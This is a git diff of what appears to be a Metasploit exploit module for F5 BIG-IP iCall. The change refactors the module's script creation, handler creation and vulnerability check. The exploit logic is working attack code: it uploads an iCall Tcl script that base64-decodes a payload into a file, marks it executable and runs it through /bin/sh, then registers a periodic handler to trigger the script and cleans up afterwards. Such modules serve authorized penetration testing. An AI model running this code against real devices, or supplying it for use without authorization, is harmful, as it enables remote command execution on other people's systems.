diff --git a/modules/exploits/linux/http/f5_icall_cmd.rb b/modules/exploits/linux/http/f5_icall_cmd.rb index 07873aea3d..6e1ba7ed38 100644 --- a/modules/exploits/linux/http/f5_icall_cmd.rb +++ b/modules/exploits/linux/http/f5_icall_cmd.rb @@ -105,24 +105,20 @@ class Metasploit3 < Msf::Exploit::Remote 'username' => datastore['USERNAME'], 'password' => datastore['PASSWORD'] ) - if res && res.code == 200 + if res return res - elsif res - print_error("HTTP/#{res.proto} #{res.code} #{res.message}") else vprint_error('No response') end false end - # cmd is valid tcl script - def create_script(cmd) - scriptname = Rex::Text.rand_text_alpha_lower(5) + def create_script(name, cmd) create_xml = build_xml do |xml| xml['scr'].create(SOAPENV_ENCODINGSTYLE) do xml.scripts(STRING_ATTRS) do xml.parent.namespace = xml.parent.parent.namespace_definitions.first - xml.item scriptname + xml.item name end xml.definitions(STRING_ATTRS) do xml.parent.namespace = xml.parent.parent.namespace_definitions.first @@ -130,31 +126,30 @@ class Metasploit3 < Msf::Exploit::Remote end end end - send_soap_request(create_xml) ? scriptname : false + send_soap_request(create_xml) end - def delete_script(scriptname) + def delete_script(script_name) delete_xml = build_xml do |xml| xml['scr'].delete_script(SOAPENV_ENCODINGSTYLE) do xml.scripts(STRING_ATTRS) do xml.parent.namespace = xml.parent.parent.namespace_definitions.first - xml.item scriptname + xml.item script_name end end end send_soap_request(delete_xml) end - def script_exists(scriptname) + def script_exists(script_name) exists_xml = build_xml do |xml| xml['scr'].get_list(SOAPENV_ENCODINGSTYLE) end res = send_soap_request(exists_xml) - res && res.code == 200 && res.body =~ Regexp.new("/Common/#{scriptname}") + res && res.code == 200 && res.body =~ Regexp.new("/Common/#{script_name}") end - def create_handler(scriptname, interval) - handler_name = Rex::Text.rand_text_alpha_lower(5) + def create_handler(handler_name, script_name, interval) handler_xml = build_xml do |xml| xml['per'].create(SOAPENV_ENCODINGSTYLE) do xml.handlers(STRING_ATTRS) do @@ -163,7 +158,7 @@ class Metasploit3 < Msf::Exploit::Remote end xml.scripts(STRING_ATTRS) do xml.parent.namespace = xml.parent.parent.namespace_definitions.first - xml.item scriptname + xml.item script_name end xml.intervals(LONG_ATTRS) do xml.parent.namespace = xml.parent.parent.namespace_definitions.first @@ -171,7 +166,8 @@ class Metasploit3 < Msf::Exploit::Remote end end end - send_soap_request(handler_xml) ? handler_name : false + res = send_soap_request(handler_xml) + res && res.code == 200 && res.body =~ Regexp.new("iCall/PeriodicHandler") end def delete_handler(handler_name) @@ -201,26 +197,7 @@ class Metasploit3 < Msf::Exploit::Remote # XXX ignored at the moment: if the user doesn't have enough privileges, 500 error also is returned, but saying 'access denied'. # if the user/password is wrong, a 401 error is returned, the server might or might not be vulnerable # any other response is considered not vulnerable - check_xml = build_xml do |xml| - xml['scr'].create(SOAPENV_ENCODINGSTYLE) do - xml.scripts(STRING_ATTRS) do - xml.parent.namespace = xml.parent.parent.namespace_definitions.first - xml.item - end - xml.definitions(STRING_ATTRS) do - xml.parent.namespace = xml.parent.parent.namespace_definitions.first - xml.item - end - end - end - - res = send_request_cgi( - 'uri' => normalize_uri(target_uri.path), - 'method' => 'POST', - 'data' => check_xml, - 'username' => datastore['USERNAME'], - 'password' => datastore['PASSWORD'] - ) + res = create_script('', '') if res && res.code == 500 && res.body =~ /path is empty/ return Exploit::CheckCode::Appears elsif res && res.code == 401 @@ -233,8 +210,6 @@ class Metasploit3 < Msf::Exploit::Remote def exploit # phase 1: create iCall script to create file with payload, execute it and remove it. - register_file_for_cleanup @payload_path - shell_cmd = %(echo #{Rex::Text.encode_base64(payload.encoded)}|base64 --decode >#{@payload_path}; chmod +x #{@payload_path};#{@payload_path}) cmd = %(if { ! [file exists #{@payload_path}]} { exec /bin/sh -c "#{shell_cmd}"}) @@ -247,20 +222,24 @@ class Metasploit3 < Msf::Exploit::Remote print_status('Uploading payload...') - unless (script = create_script(cmd)) + script_name = Rex::Text.rand_text_alpha_lower(5) + create_script_res = create_script(script_name, cmd) + unless create_script_res && create_script_res.code == 200 print_error("Upload script failed") return false end - unless script_exists(script) + unless script_exists(script_name) print_error("create_script() run successfully but script was not found") return false end + register_file_for_cleanup @payload_path + interval = datastore['INTERVAL'] # phase 2: create iCall Handler, that will actually run the previously created script print_status('Creating trigger...') - handler = create_handler(script, interval) - unless handler + handler_name = Rex::Text.rand_text_alpha_lower(5) + unless create_handler(handler_name, script_name, interval) print_error('Script uploaded but create_handler() failed') return false end @@ -268,7 +247,7 @@ class Metasploit3 < Msf::Exploit::Remote sleep(interval) # small delay, just to make sure print_status('Trying cleanup...') - if delete_handler(handler) && delete_script(script) + if delete_handler(handler_name) && delete_script(script_name) print_status('Cleanup finished with no errors') else print_error('Error while cleaning up')